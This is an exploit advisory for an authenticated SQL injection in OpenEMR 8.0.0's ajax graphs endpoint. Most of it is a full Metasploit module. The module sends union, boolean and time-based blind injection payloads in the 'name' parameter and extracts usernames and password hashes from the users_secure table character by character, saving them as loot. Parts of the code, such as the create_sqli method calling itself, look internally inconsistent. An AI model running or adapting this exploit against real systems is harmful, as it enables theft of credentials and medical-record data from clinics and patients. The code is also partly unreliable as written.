====================================================================================================================== | # Title : OpenEMR 8.0.0 Authenticated SQL Injection via name Parameter in ajax/graphs.php | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.open-emr.org/ | ====================================================================================================================== [+] Summary : A SQL injection vulnerability exists in OpenEMR version 8.0.0 within the ajax graphs library. The issue arises due to improper sanitization of the `name` parameter in the `library/ajax/graphs.php` endpoint, where user-controlled input is directly embedded into SQL queries. An authenticated attacker can exploit this vulnerability to execute arbitrary SQL statements, allowing extraction of sensitive information such as user credentials from the backend database. The flaw supports boolean-based, union-based, and time-based blind SQL injection techniques. Successful exploitation requires a valid session cookie and CSRF token. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::SQLi include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) super( update_info( info, 'Name' => 'OpenEMR 8.0.0 SQL Injection Vulnerability', 'Description' => %q{ This module exploits a SQL injection vulnerability in OpenEMR 8.0.0. The vulnerability exists in the ajax graphs library where user-supplied input in the 'name' parameter is directly concatenated into SQL queries without proper sanitization. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-32127'], ['URL', 'https://www.open-emr.org/'], ['CWE', '89'] ], 'DisclosureDate' => '2026-03-21', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to OpenEMR', '/openemr/']), OptString.new('COOKIE', [true, 'Valid OpenEMR session cookie', '']), OptString.new('CSRF_TOKEN', [true, 'CSRF token for the session', '']), OptString.new('TABLE', [true, 'Table to extract data from', 'users_secure']), OptString.new('COLUMNS', [true, 'Columns to extract', 'username,password']) ]) register_advanced_options([ OptInt.new('SLEEP_TIME', [true, 'Time in seconds for time-based injection', 1]) ]) end def run unless session_cookie_valid? fail_with(Failure::NoAccess, 'Invalid or missing session cookie') end print_status("Exploiting SQL injection in OpenEMR 8.0.0") sqli = create_sqli unless sqli fail_with(Failure::Unknown, 'Failed to initialize SQLi object') end print_good("SQLi object initialized") table = datastore['TABLE'] columns = datastore['COLUMNS'].split(',').map(&:strip) columns.each do |column| extract_column_data(sqli, table, column) end end def session_cookie_valid? cookie = datastore['COOKIE'] return false if cookie.nil? || cookie.empty? true end def create_sqli create_sqli(dbms: MySQLi) do |payload| injection = "date, #{payload} FROM (SELECT 1 AS field_value) AS ld " injection << "JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 " injection << "UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 " injection << "UNION ALL SELECT ld.field_value AS date" encoded_injection = Rex::Text.uri_encode(injection) post_data = { 'csrf_token_form' => datastore['CSRF_TOKEN'], 'name' => encoded_injection, 'table' => datastore['TABLE'] || 'LBF' } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'library/ajax/graphs.php'), 'cookie' => datastore['COOKIE'], 'vars_post' => post_data }) return nil unless res && res.body return nil if res.body.include?('SQL Statement failed') res end end def extract_column_data(sqli, table, column) print_status("Extracting data from #{table}.#{column}") row_count = sqli.run_sql("SELECT COUNT(*) FROM #{table}") row_count = row_count && row_count[0] ? row_count[0].to_s.to_i : 1 print_status("Found #{row_count} row(s) in #{table}") row_count.times do |row_idx| print_status("Extracting #{table}.#{column} (row #{row_idx + 1})") length_payload = "SELECT LENGTH(#{column}) FROM #{table} LIMIT #{row_idx},1" length_result = sqli.run_sql(length_payload) string_length = length_result && length_result[0] ? length_result[0].to_s.to_i : 0 if string_length == 0 print_status("Fallback to time-based extraction") extracted = time_based_extraction(sqli, table, column, row_idx) print_good("Extracted (time-based): #{extracted}") next end print_status("String length: #{string_length}") extracted = '' (0...string_length).each do |pos| low = 32 high = 126 while low <= high mid = (low + high) / 2 test_payload = "SELECT ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) > #{mid} FROM #{table} LIMIT #{row_idx},1" result = sqli.run_sql(test_payload) if result && result[0].to_i == 1 low = mid + 1 else high = mid - 1 end end char_ascii = high char = char_ascii.chr extracted << char print_status("Character #{pos + 1}: #{char} (ASCII: #{char_ascii})") end print_good("Extracted #{table}.#{column}: #{extracted}") store_loot( 'openemr.sql.extracted', 'text/plain', rhost, "#{table}.#{column}: #{extracted}", "openemr_#{table}_#{column}.txt", "Extracted data" ) @vuln_reported ||= false unless @vuln_reported report_vuln( host: rhost, port: rport, name: 'OpenEMR SQL Injection', refs: references ) @vuln_reported = true end end end def time_based_extraction(sqli, table, column, row_idx) print_status("Using time-based extraction") length = 0 (1..100).each do |i| test_payload = "SELECT IF(LENGTH(#{column}) >= #{i}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1" start_time = Time.now sqli.run_sql(test_payload) elapsed = Time.now - start_time if elapsed >= datastore['SLEEP_TIME'] length = i else break end end extracted = '' (0...length).each do |pos| low = 32 high = 126 while low <= high mid = (low + high) / 2 test_payload = "SELECT IF(ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) >= #{mid}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1" start_time = Time.now sqli.run_sql(test_payload) elapsed = Time.now - start_time if elapsed >= datastore['SLEEP_TIME'] low = mid + 1 else high = mid - 1 end end char_value = high extracted << char_value.chr end extracted end def run_host(_ip) run rescue Rex::ConnectionError => e print_error("Connection failed: #{e.message}") end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================